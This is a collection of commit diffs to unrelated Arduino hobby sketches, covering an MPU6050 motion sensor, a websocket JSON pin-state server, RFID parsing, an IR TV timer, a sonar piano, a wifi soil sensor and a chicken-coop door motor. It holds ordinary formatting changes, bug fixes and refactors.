+  mpu.setYGyroOffset(76);
+  mpu.setZGyroOffset(-85);
+  mpu.setZAccelOffset(1788);*/
+  // make sure it worked (returns 0 if so)
+  if (devStatus == 0)
+  {
+    // turn on the DMP, now that it's ready
+    Log("Enabling DMP...\n");
+    mpu.setDMPEnabled(true);

-  		// enable Arduino interrupt detection
-  		Log("Enabling interrupt detection (Arduino external interrupt A1)...\n");
-      attachInterrupt(0, dmpDataReady, RISING);
-  		mpuIntStatus = mpu.getIntStatus();
+    // enable Arduino interrupt detection
+    Log("Enabling interrupt detection (Arduino external interrupt A1)...\n");
+    attachInterrupt(0, dmpDataReady, RISING);
+    mpuIntStatus = mpu.getIntStatus();

-      // set our DMP Ready flag so the main loop() function knows it's okay to use it
-  		Log("DMP ready! Waiting for first interrupt...\n");
-  		dmpReady = true;
+    // set our DMP Ready flag so the main loop() function knows it's okay to use it
+    Log("DMP ready! Waiting for first interrupt...\n");
+    dmpReady = true;

-  		// get expected DMP packet size for later comparison
-  		packetSize = mpu.dmpGetFIFOPacketSize();
-  	}
-  	else
-  	{
-  		// ERROR!
-  		// 1 = initial memory load failed
-  		// 2 = DMP configuration updates failed
-  		// (if it's going to break, usually the code will be 1)
-  		Serial.print(F("DMP Initialization failed (code "));
-        Serial.print(devStatus);
-        Serial.println(F(")"));
-  	}
+    // get expected DMP packet size for later comparison
+    packetSize = mpu.dmpGetFIFOPacketSize();
+  }
+  else
+  {
+    // ERROR!
+    // 1 = initial memory load failed
+    // 2 = DMP configuration updates failed
+    // (if it's going to break, usually the code will be 1)
+    Serial.print(F("DMP Initialization failed (code "));
+    Serial.print(devStatus);
+    Serial.println(F(")"));
+  }

-  	//set LED to out
-  	pinMode(LED_PIN, OUTPUT);
+  //set LED to out
+  pinMode(LED_PIN, OUTPUT);
 }

 void loop()
 {
-    // if programming failed, don't try to do anything
-  	if (!dmpReady) return;
+  // if programming failed, don't try to do anything
+  if (!dmpReady) return;

-  	// wait for MPU interrupt or extra packet(s) available
-    while (!mpuInterrupt && fifoCount < packetSize);
+  // wait for MPU interrupt or extra packet(s) available
+  while (!mpuInterrupt && fifoCount < packetSize);

-  	// reset interrupt flag and get INT_STATUS byte
-  	mpuInterrupt = false;
-  	mpuIntStatus = mpu.getIntStatus();
-  	// get current FIFO count
-  	fifoCount = mpu.getFIFOCount();
-  	// check for overflow (this should never happen unless our code is too inefficient)
-  	if ((mpuIntStatus & 0x10) || fifoCount == 1024)
-  	{
-  		// reset so we can continue cleanly
-  		mpu.resetFIFO();
-  		Log("FIFO overflow!\n");
+  // reset interrupt flag and get INT_STATUS byte
+  mpuInterrupt = false;
+  mpuIntStatus = mpu.getIntStatus();
+  // get current FIFO count
+  fifoCount = mpu.getFIFOCount();
+  // check for overflow (this should never happen unless our code is too inefficient)
+  if ((mpuIntStatus & 0x10) || fifoCount == 1024)
+  {
+    // reset so we can continue cleanly
+    mpu.resetFIFO();
+    Log("FIFO overflow!\n");

-  		// otherwise, check for DMP data ready interrupt (this should happen frequently)
-  	}
-  	else if (mpuIntStatus & 0x02)
-  	{
-  		// wait for correct available data length, should be a VERY short wait
-  		while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();
+    // otherwise, check for DMP data ready interrupt (this should happen frequently)
+  }
+  else if (mpuIntStatus & 0x02)
+  {
+    // wait for correct available data length, should be a VERY short wait
+    while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();

-  		// read a packet from FIFO
-  		mpu.getFIFOBytes(fifoBuffer, packetSize);
+    // read a packet from FIFO
+    mpu.getFIFOBytes(fifoBuffer, packetSize);

-  		// track FIFO count here in case there is > 1 packet available
-  		// (this lets us immediately read more without waiting for an interrupt)
-  		fifoCount -= packetSize;
+    // track FIFO count here in case there is > 1 packet available
+    // (this lets us immediately read more without waiting for an interrupt)
+    fifoCount -= packetSize;

-  		//Start reading values
-  		{
-  			mpu.dmpGetQuaternion(&q, fifoBuffer);			//Quaternion
-  			mpu.dmpGetAccel(&aa, fifoBuffer);				//Total Acceleration with gravity
-  			mpu.dmpGetGravity(&gravity, &q);				//Gravity vector
-  			mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);	//Real acceleration without gravity
-  			//mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);
-  			mpu.dmpGetEuler(euler, &q);
-  			//Log("gravity # %f\t%f\t%f\n", gravity.x, gravity.y, gravity.z);
-  			//Log("accel # %f"  "\t%f"  "\t%f"  "\n", (float)aa.x / 16384 * 2, (float)aa.y / 16384 * 2, (float)aa.z / 16384 * 2);
-  			//Log("ypr # %f\t%f\t%f\n", ypr[0], ypr[1], ypr[2]);
-  			//Log("euler # %f\t%f\t%f\n", euler[0] / 3.14159265 * 180, euler[1] / 3.14159265 * 180, euler[2] / 3.14159265 * 180);
-
-                        //Print gravity
-                        Serial.print(gravity.x);
-                        Serial.print('\t');
-                        Serial.print(gravity.y);
-                        Serial.print('\t');
-                        Serial.print(gravity.z);
-                        Serial.print('\t');
-
-                        //Print acceleration
-                        Serial.print(aa.x);
-                        Serial.print('\t');
-                        Serial.print(aa.y);
-                        Serial.print('\t');
-                        Serial.print(aa.z);
-                        Serial.print('\t');
-
-                        //Print Euler angle
-                        Serial.print(euler[0]);
-                        Serial.print('\t');
-                        Serial.print(euler[1]);
-                        Serial.print('\t');
-                        Serial.print(euler[2]);
-                        Serial.print('\t');
-                        Serial.println(millis());
-  		}
-  	}
-  	// blink LED to indicate activity
-  	blinkState = !blinkState;
-  	digitalWrite(LED_PIN, blinkState);
+    //Start reading values
+    {
+      mpu.dmpGetQuaternion(&q, fifoBuffer);			//Quaternion
+      mpu.dmpGetAccel(&aa, fifoBuffer);				//Total Acceleration with gravity
+      mpu.dmpGetGravity(&gravity, &q);				//Gravity vector
+      mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);	//Real acceleration without gravity
+      //mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);
+      mpu.dmpGetEuler(euler, &q);
+      //Log("gravity # %f\t%f\t%f\n", gravity.x, gravity.y, gravity.z);
+      //Log("accel # %f"  "\t%f"  "\t%f"  "\n", (float)aa.x / 16384 * 2, (float)aa.y / 16384 * 2, (float)aa.z / 16384 * 2);
+      //Log("ypr # %f\t%f\t%f\n", ypr[0], ypr[1], ypr[2]);
+      //Log("euler # %f\t%f\t%f\n", euler[0] / 3.14159265 * 180, euler[1] / 3.14159265 * 180, euler[2] / 3.14159265 * 180);
+
+      //Print gravity
+      Serial.print(gravity.x);
+      Serial.print('\t');
+      Serial.print(gravity.y);
+      Serial.print('\t');
+      Serial.print(gravity.z);
+      Serial.print('\t');
+
+      //Print acceleration
+      Serial.print(aa.x);
+      Serial.print('\t');
+      Serial.print(aa.y);
+      Serial.print('\t');
+      Serial.print(aa.z);
+      Serial.print('\t');
+
+      //Print Euler angle
+      Serial.print(euler[0]);
+      Serial.print('\t');
+      Serial.print(euler[1]);
+      Serial.print('\t');
+      Serial.print(euler[2]);
+      Serial.print('\t');
+      Serial.println(millis());
+    }
+  }
+  // blink LED to indicate activity
+  blinkState = !blinkState;
+  digitalWrite(LED_PIN, blinkState);
 }


We found a bug in the function which sends the JSON string to the clients. The function aJson.print() only prints 256 characters. We added some code to fix this.

--- ServerSketch/ServerSketch.ino
+++ ServerSketch/ServerSketch.ino
@@ -51,10 +51,26 @@
   char label[PIN_LABEL_SIZE];
   int is_analog;
   int is_input;
+  float sensitivity;
+  int is_inverted;
+  int is_visible;
   float value;
   boolean connections[TOTAL_NUM_OF_PINS];
 }
 Pin;
+
+  /*
+  {"status":<OK,ERROR>,  "pins":{"<0,1,…,13,A0,…,A5>":  {
+  "label":"<label text>",
+	"is_analog":"<true,false>",
+	"is_input":"<true,false>",
+“sensitivity”:”<0.0,1.0>”,
+“is_inverted”:”<true,false>”,
+“is_visible”:”<true,false>”,
+"value":"<0.0,1.0>",  },  ...,  },
+"connections":[ {"source":"<0,1,…,13,A0,…,A5>","target":"<0,1,…,13,A0,…,A5>",”is_connected”:”<true,false>”},  ...,  ]  }
+  */
+

 Pin g_aPins[TOTAL_NUM_OF_PINS];

@@ -426,7 +442,7 @@

   if( g_luiCounter%100 == 0)
   {
-    Serial.println("NEW CODE - WTF");
+    Serial.println("NEW CODE");
 /*
     unsigned char buf[LWS_SEND_BUFFER_PRE_PADDING + 512 + LWS_SEND_BUFFER_POST_PADDING];
     unsigned char *p = &buf[LWS_SEND_BUFFER_PRE_PADDING];
@@ -479,18 +495,64 @@

     aJson.deleteItem(msg);
     */
-    unsigned char buf[LWS_SEND_BUFFER_PRE_PADDING + 512 + LWS_SEND_BUFFER_POST_PADDING];
+    unsigned char buf[LWS_SEND_BUFFER_PRE_PADDING + 10000 + LWS_SEND_BUFFER_POST_PADDING];
     unsigned char *p = &buf[LWS_SEND_BUFFER_PRE_PADDING];

     //n = sprintf((char *)p, "%s","{\"status\":\"OK\",\"pins\":{ \"13\":{\"label\":\"Pin 13\",\"is_analog\":\"false\",\"is_input\":\"false\",\"sensitivity\":\"0.5\",\"is_inverted\":\"false\",\"is_visible\":\"true\",\"value\":\"1\"}  }}");
 //    n = sprintf((char *)p, "%s","{\"status\":\"OK\",\"pins\":{ \"13\":{\"label\":\"Pin 13\",\"is_analog\":false,\"is_input\":false,\"sensitivity\":0.5,\"is_inverted\":false,\"is_visible\":true,\"value\":1}  }}");
 //    n = sprintf((char *)p, "%s","{\"status\":\"OK\",\"pins\":{ \"14\":{\"label\":\"A0\",\"is_analog\":true,\"is_input\":true,\"sensitivity\":0.5,\"is_inverted\":false,\"is_visible\":true,\"value\":0.5}, \"3\":{\"label\":\"~3\",\"is_analog\":true,\"is_input\":false,\"sensitivity\":0.5,\"is_inverted\":false,\"is_visible\":true,\"value\":0.6}  }}");
-      n = sprintf((char *)p, "%s","{\"status\":\"OK\",\"pins\":{ \"14\":{\"label\":\"A0\",\"is_analog\":true,\"is_input\":true,\"sensitivity\":0.5,\"is_inverted\":false,\"is_visible\":true,\"value\":0.5}, \"3\":{\"label\":\"~3\",\"is_analog\":true,\"is_input\":false,\"sensitivity\":0.5,\"is_inverted\":false,\"is_visible\":true,\"value\":0.6}  },\"connections\":[{\"source\":\"14\",\"target\":\"3\"}] }");
-
-
-    n = libwebsocket_write(wsi, p, n, LWS_WRITE_TEXT);
-
-
+//    n = sprintf((char *)p, "%s","{\"status\":\"OK\",\"pins\":{ \"14\":{\"label\":\"A0\",\"is_analog\":true,\"is_input\":true,\"sensitivity\":0.5,\"is_inverted\":false,\"is_visible\":true,\"value\":0.5}, \"3\":{\"label\":\"~3\",\"is_analog\":true,\"is_input\":false,\"sensitivity\":0.5,\"is_inverted\":false,\"is_visible\":true,\"value\":0.6}  },\"connections\":[{\"source\":\"14\",\"target\":\"3\"}] }");
+
+      updateBoardState();
+      aJsonObject *msg = getJsonBoardState();
+//      String sTempString = aJson.print(msg);
+//      Serial.println("");
+ //     Serial.print("sTempString :");
+ //     Serial.println(sTempString);
+
+//      String sTempString = "{\"status\":\"OK\",\"pins\":{ \"13\":{\"label\":\"Pin 13\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"2\":{\"label\":\"Pin 2\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"4\":{\"label\":\"Pin 4\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"7\":{\"label\":\"Pin 7\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"8\":{\"label\":\"Pin 8\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"12\":{\"label\":\"Pin 12\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"3\":{\"label\":\"Pin 3\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"5\":{\"label\":\"Pin 5\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"6\":{\"label\":\"Pin 6\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"9\":{\"label\":\"Pin 9\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"10\":{\"label\":\"Pin 10\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"11\":{\"label\":\"Pin 11\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}   }}";
+//      n = sprintf((char *)p, "%s",aJson.print(msg)); // This funtion can only print 256 characters
+
+   //   char* outBuf = (char*) malloc(2000); /* XXX: Dynamic size. */
+//      n = sizeof(buf) - LWS_SEND_BUFFER_PRE_PADDING - LWS_SEND_BUFFER_POST_PADDING;
+
+    //  n = sizeof((char *)p);
+      /*
+      int count = 0;
+      while(*(p+n*count) != '\0' || count != 10100)
+      {
+        count++;
+      }
+      */
+
+      aJsonStringStream stringStream(NULL, (char *)p, 10000);
+      aJson.print(msg, &stringStream);
+      String sTempString((char *)p);
+
+      Serial.println("");
+      Serial.print("sTempString.len:  ");
+      Serial.println(sTempString.length());
+
+  //    n = sprintf((char *)p, "%s",outBuf); // This funtion can only print 256 characters
+
+//      n = sprintf((char *)p, "%s","{\"status\":\"OK\",\"pins\":{ \"13\":{\"label\":\"Pin 13\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"2\":{\"label\":\"Pin 2\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"4\":{\"label\":\"Pin 4\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"7\":{\"label\":\"Pin 7\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"8\":{\"label\":\"Pin 8\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"12\":{\"label\":\"Pin 12\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"3\":{\"label\":\"Pin 3\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"5\":{\"label\":\"Pin 5\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"6\":{\"label\":\"Pin 6\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"9\":{\"label\":\"Pin 9\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"10\":{\"label\":\"Pin 10\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"11\":{\"label\":\"Pin 11\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}   }}");
+     // snprintf((char *)p, 2000, "%s","{\"status\":\"OK\",\"pins\":{ \"13\":{\"label\":\"Pin 13\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"2\":{\"label\":\"Pin 2\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"4\":{\"label\":\"Pin 4\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"7\":{\"label\":\"Pin 7\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"8\":{\"label\":\"Pin 8\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"12\":{\"label\":\"Pin 12\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"3\":{\"label\":\"Pin 3\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"5\":{\"label\":\"Pin 5\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"6\":{\"label\":\"Pin 6\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"9\":{\"label\":\"Pin 9\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"10\":{\"label\":\"Pin 10\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"11\":{\"label\":\"Pin 11\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}   }}");
+//      n = sprintf((char *)p, "%s","{\"status\":\"OK\",\"pins\":{ \"13\":{\"label\":\"Pin 13\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"2\":{\"label\":\"Pin 2\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"4\":{\"label\":\"Pin 4\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"7\":{\"label\":\"Pin 7\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"8\":{\"label\":\"Pin 8\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"12\":{\"label\":\"Pin 12\",\"is_analog\":\"false\",\"is_input\":\"false\",\"value\":\"1\"}, \"3\":{\"label\":\"Pin 3\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"5\":{\"label\":\"Pin 5\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"6\":{\"label\":\"Pin 6\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"9\":{\"label\":\"Pin 9\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"10\":{\"label\":\"Pin 10\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}, \"11\":{\"label\":\"Pin 11\",\"is_analog\":\"true\",\"is_input\":\"false\",\"value\":\"0.9\"}   }}");
+//      n = sprintf((char *)p, "%s","---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------********************************************************************************************************************************************************************************************");
+/*
+      Serial.println("");
+      Serial.print("n before: ");
+      Serial.println(n);
+  */
+//      n = libwebsocket_write(wsi, p, n, LWS_WRITE_TEXT);
+//      n = libwebsocket_write(wsi, p, sTempString.length(), LWS_WRITE_TEXT);
+      n = libwebsocket_write(wsi, p, sTempString.length(), LWS_WRITE_TEXT);
+
+      Serial.println("");
+      Serial.print("n after: ");
+      Serial.println(n);
+
+      aJson.deleteItem(msg);

   }

@@ -619,6 +681,9 @@
   {
     g_aPins[i].is_analog = false;
     g_aPins[i].is_input = false;
+    g_aPins[i].sensitivity = 0.5;
+    g_aPins[i].is_inverted = false;
+    g_aPins[i].is_visible = true;
   }

   // Initialize pins A0-A5 as analog in pins
@@ -626,6 +691,9 @@
   {
     g_aPins[i].is_analog = true;
     g_aPins[i].is_input = true;
+    g_aPins[i].sensitivity = 0.5;
+    g_aPins[i].is_inverted = false;
+    g_aPins[i].is_visible = true;
   }

   // Set the HW state
@@ -741,6 +809,8 @@
 aJsonObject* getJsonBoardState()
 {

+  char buff[100];
+
   aJsonObject* poJsonBoardState = aJson.createObject();

   // Creating status JSON object
@@ -770,33 +840,77 @@
     // Populate the pin's type
     if( g_aPins[i].is_analog )
     {
-      aJson.addItemToObject(apoPin[i],"is_analog", aJson.createItem("true") );
+      aJson.addItemToObject(apoPin[i],"is_analog", aJson.createTrue() );
     }
     else
     {
-      aJson.addItemToObject(apoPin[i],"is_analog", aJson.createItem("false") );
+      aJson.addItemToObject(apoPin[i],"is_analog", aJson.createFalse() );
     }

     // Populate the pin's direction
     if( g_aPins[i].is_input )
     {
-      aJson.addItemToObject(apoPin[i],"is_input", aJson.createItem("true") );
+      aJson.addItemToObject(apoPin[i],"is_input", aJson.createTrue() );
     }
     else
     {
-      aJson.addItemToObject(apoPin[i],"is_input", aJson.createItem("false") );
-    }
+      aJson.addItemToObject(apoPin[i],"is_input", aJson.createFalse() );
+    }
+
+    // Populate sensitivity
+//    snprintf(buff, sizeof(buff),"%f", g_aPins[i].sensitivity);
+//    aJson.addItemToObject(apoPin[i],"sensitivity", aJson.createItem( buff ) );
+    aJson.addItemToObject(apoPin[i],"sensitivity", aJson.createItem( g_aPins[i].sensitivity ) );
+
+    // Populate pin's inversion
+    if( g_aPins[i].is_inverted )
+    {
+      aJson.addItemToObject(apoPin[i],"is_inverted", aJson.createTrue() );
+    }
+    else
+    {
+      aJson.addItemToObject(apoPin[i],"is_inverted", aJson.createFalse() );
+    }
+
+    // Populate pin's visibility
+    if( g_aPins[i].is_visible )
+    {
+      aJson.addItemToObject(apoPin[i],"is_visible", aJson.createTrue() );
+    }
+    else
+    {
+      aJson.addItemToObject(apoPin[i],"is_visible", aJson.createFalse() );
+    }
+
+    /*
+      float sensitivity;
+  int is_inverted;
+  int is_visible;
+    */

     // Populate pin's value
-    char buff[20];
-    snprintf(buff, sizeof(buff),"%f", g_aPins[i].value);
-    aJson.addItemToObject(apoPin[i],"value", aJson.createItem( buff ) );
+//    snprintf(buff, sizeof(buff),"%f", g_aPins[i].value);
+//    aJson.addItemToObject(apoPin[i],"value", aJson.createItem( buff ) );
+    aJson.addItemToObject(apoPin[i],"sensitivity", aJson.createItem( g_aPins[i].value ) );

     // Push to JSON structure
     sprintf(caPinNumBuffer,"%d",i);
     aJson.addItemToObject(poPins,caPinNumBuffer,apoPin[i]);

   }
+
+  /*
+  {"status":<OK,ERROR>,  "pins":{"<0,1,…,13,A0,…,A5>":  {
+  "label":"<label text>",
+	"is_analog":"<true,false>",
+	"is_input":"<true,false>",
+“sensitivity”:”<0.0,1.0>”,
+“is_inverted”:”<true,false>”,
+“is_visible”:”<true,false>”,
+"value":"<0.0,1.0>",  },  ...,  },
+"connections":[ {"source":"<0,1,…,13,A0,…,A5>","target":"<0,1,…,13,A0,…,A5>",”is_connected”:”<true,false>”},  ...,  ]  }
+  */
+

   // Create CONNECTIONS
   int iaConnections[10];


Refactoring getTime and getID

Refactoring getTime and getID

--- module/module_rfid.ino
+++ module/module_rfid.ino
@@ -108,7 +108,8 @@
 	unsigned long existingTime = 0;

 	for (i = 0; i < numTimeBytes; i++) {
-		existingTime = (existingTime << eightBits) ^ readData[i + timeOffset];
+		existingTime <<= eightBits;
+		existingTime ^= readData[i + timeOffset];
 	}

 	return existingTime;
@@ -119,7 +120,8 @@
 	unsigned int userID = 0;

 	for (i = 0; i < numUserBytes; i++) {
-		userID = (userID << eightBits) ^ readData[i + userOffset];
+		userID <<= eightBits;
+		userID ^= readData[i + userOffset];
 	}

 	return userID;


LCDMenuLib

LCDMenuLib

Shouldn't  this be LCDMenuLib2.h

--- examples/0_beginners/lcdml_1_liquidCrystal/lcdml_1_liquidCrystal.ino
+++ examples/0_beginners/lcdml_1_liquidCrystal/lcdml_1_liquidCrystal.ino
@@ -140,5 +140,5 @@
 // check some errors - do not change here anything
 // *********************************************************************
 # if(_LCDML_DISP_rows > _LCDML_DISP_cfg_max_rows)
-# error change value of _LCDML_DISP_cfg_max_rows in LCDMenuLib.h
+# error change value of _LCDML_DISP_cfg_max_rows in LCDMenuLib2.h
 # endif


displaytimeleft

displaytimeleft

--- _09_ir_tx_rx/_09_ir_tx_rx.ino
+++ _09_ir_tx_rx/_09_ir_tx_rx.ino
@@ -343,6 +343,14 @@
   if ((millis() - tv_on_Mills) >= ( o_tvOffTime * 60 * 1000 ) && (timerOnOff == 1) && ( o_pirOnOff != 1)) {
     Serial.println("Timer on called");
     turn_onoff_tv(0);
+  }
+
+  if ( (timerOnOff == 0) && ( o_pirOnOff != 1) ) {
+    displaytimeleft((millis() - tv_off_Mills) / (60 * 1000 ));
+  }
+
+  if ( (timerOnOff == 1) && ( o_pirOnOff != 1) ) {
+    displaytimeleft((millis() - tv_on_Mills) / (60 * 1000 ));
   }

   if (t != o_t) {
@@ -378,22 +386,50 @@
   }
 }

+void displaytimeleft(float a) {
+  String str_a = String(int(a));
+  int length_a = str_a.length();
+
+  lcd.setCursor(10, 1);
+  for ( int i = 0; i < ( 3 - length_a ) ; i++ ) {
+    lcd.print(" ");
+  }
+  lcd.print(str_a);
+}
+
 void turn_onoff_tv(int a)
 {
   if ( o_wrkMode == 1 && o_startMode == 1 ) {
-    if ( a == 1 && tvPowerStatus == 1) {
-      irSendTv(0);
-      tv_on_Mills = millis();
-      timerOnOff = 1;
-      r = !r;
-    }
-
-    if ( a == 0 && tvPowerStatus == 0) {
-      irSendTv(1);
-      tv_off_Mills = millis();
-      timerOnOff = 0;
-      r = !r;
-    }
+    if ( o_pwrSrc == 0 ) {
+        if ( a == 1 && tvPowerStatus == 1) {
+          irSendTv(0);
+          tv_on_Mills = millis();
+          timerOnOff = 1;
+          r = !r;
+        }
+
+        if ( a == 0 && tvPowerStatus == 0) {
+          irSendTv(1);
+          tv_off_Mills = millis();
+          timerOnOff = 0;
+          r = !r;
+        }
+    } else {
+        if ( a == 1 ) {
+          irSendTv(0);
+          tv_on_Mills = millis();
+          timerOnOff = 1;
+          r = !r;
+        }
+
+        if ( a == 0 ) {
+          irSendTv(1);
+          tv_off_Mills = millis();
+          timerOnOff = 0;
+          r = !r;
+        }
+    }
+
   }
 }


Update SonarPiano.ino

Update SonarPiano.ino

--- Melodies/SonarPiano.ino
+++ Melodies/SonarPiano.ino
@@ -1,22 +1,4 @@
 #include "pitches.h"
-/**Distances Corresponding to TonesO4 array values with current settings:
- * 0: 15-16
- * 1: 17-18
- * 2: 19-20
- * 3: 21-22
- * 4: 23-24
- * 5: 25
- * 6: 26-27
- * 7: 28-29
- * 8: 30-31
- * 9: 32-33
- * 10: 34
- * 11: 35
- *
- * Beware of noise, make sure space is totally cleared
- * and account for slow response and physical limitations
- *
- */
 /**Distances Corresponding to TonesO4 array values with current settings:
  * 0: 15-16
  * 1: 17-18
@@ -30,7 +12,11 @@
  * 9: 29-30
  * 10: 31-32
  * 11: 32-33
- * 12: 34-35 */
+ * 12: 34-35
+ * Beware of noise, make sure space is totally cleared
+ * and account for slow response and physical limitations
+ *
+ */

 int ThreshHold_LO = 15;
 int ThreshHold_HI = 35;


changes for new wifi library. wifi.getip() now returns only IP. Cannot get the MAC address at the moment

--- sketch_soil_wifi/sketch_soil_wifi.ino
+++ sketch_soil_wifi/sketch_soil_wifi.ino
@@ -19,7 +19,7 @@
 }

 void serial_setup(void) {
-  SerialUSB.begin(9600); //Opens USB-Serial connection for terminal
+  SerialUSB.begin(115200); //Opens USB-Serial connection for terminal
   delay(5000);
   SerialUSB.print("Serial interface is ready\r\n");
 }
@@ -41,8 +41,8 @@
     SerialUSB.println('connecting to WIFI...');
     delay(5000);
   }
-  SerialUSB.println("connected to WIFI.");
-  Serial.println(wifi.getip());
+  SerialUSB.print("connected to WIFI. IP: ");
+  SerialUSB.println(wifi.getip());
   SerialUSB.print("IP from my own getip(): ");
   SerialUSB.println(getIP(true)); // short version of IP, cached
   SerialUSB.print("MAC from my own gethostname(): ");
@@ -82,15 +82,9 @@

 String getIP(bool cache) {
   static String ip = "";
-  if (ip.length() && cache) {
-     return ip;
+  if (!(ip.length() && cache)) {
+    ip = wifi.getip();
   }
-  String pattern = "STAIP,\"";
-  String answer = wifi.getip().c_str();
-  int starti = answer.indexOf(pattern) + pattern.length();
-  ip = answer.substring(starti, answer.length() -1);
-  int stopi = ip.indexOf("\"");
-  ip = ip.substring(0,stopi);
   return ip;
 }


Bugfix 2.1

Bugfix 2.1

--- arduino/autofowl/autofowl.ino
+++ arduino/autofowl/autofowl.ino
@@ -5,7 +5,7 @@
 #include <Wire.h>
 #include <RTClib.h>

-#define DEBUG 1
+#define DEBUG 0
 // Set to 1 if you want to force setting of RTC to compilation time.
 // You probably want to set this back to 0 then reflash the device when done.
 #define FORCE_SET_RTC 0
@@ -61,12 +61,10 @@
 const int EEPROM_UNSET                      = 255;

 // Motor constants
-// const int MOTOR_MAX_RPMS                    = 150;
-const int MOTOR_MAX_RPMS                    = 60;
+const int MOTOR_MAX_RPMS                    = 150;
 const int STEPS_PER_REVOLUTION              = 200;
 const int MOTOR_SPEED_STEPS_PER_SECOND      = ( MOTOR_MAX_RPMS / 60 ) * STEPS_PER_REVOLUTION;
-// const int MOTOR_ACCEL_STEPS_PER_SEC_PER_SEC = 60;
-const int MOTOR_ACCEL_STEPS_PER_SEC_PER_SEC = 50;
+const int MOTOR_ACCEL_STEPS_PER_SEC_PER_SEC = 60;
 // Disable motor driver when stopped.
 // Decreases power consumption and heat from motor.
 const bool MOTOR_DISABLE_ON_STOP            = true;
@@ -82,7 +80,7 @@
 // Door-specific constants
 // Number of revolutions needed to change door position
 // Should be empirically determined since it depends on length of thread rod.
-const long REVOLUTIONS_TO_CHANGE            = 100;
+const long REVOLUTIONS_TO_CHANGE            = 170;

 // Pins
 // Arduino Uno / Buttons
@@ -244,6 +242,7 @@
   LightThreshDown = lightThreshDown == EEPROM_UNINIT_VALUE ? 100 : lightThreshDown;

   // Read revolutions to change from EEPROM
+  // TODO Can we store a long in EEPROM like this?
   long revolutionsToChange = EEPROM.read(REVOLUTIONS_TO_MOVE_ADDRESS);
   RevolutionsToChange = revolutionsToChange == EEPROM_UNINIT_VALUE ? REVOLUTIONS_TO_CHANGE : revolutionsToChange;

@@ -517,16 +516,19 @@
   // Set the motor target position i.e. number of steps to move
   long stepsToMove = revolutions * STEPS_PER_REVOLUTION;
   Motor.move(stepsToMove);
-
-  // Local step counter
-  long stepsMoved = 0;
+
+  enableMotor();
+
+  long startPosition = Motor.currentPosition();

   // Start stepping motor
+  #if DEBUG
   Serial.print("Starting to take steps: ");
   Serial.print(stepsToMove);
   Serial.print(" (");
   Serial.print(revolutions);
   Serial.println(")");
+  #endif
   while (true) {

     // Handle buttons to allow abort
@@ -534,17 +536,20 @@

     // Eject from loop if we stopped the door manually via handleButton() calling stopDoor()
     if ( DoorDirection == DOOR_STATIONARY ) {
-      // Tell AccelStepper to stop and reset its position counter
-      Motor.setCurrentPosition(0);
-
       // Save number of revolutions we did to EEPROM
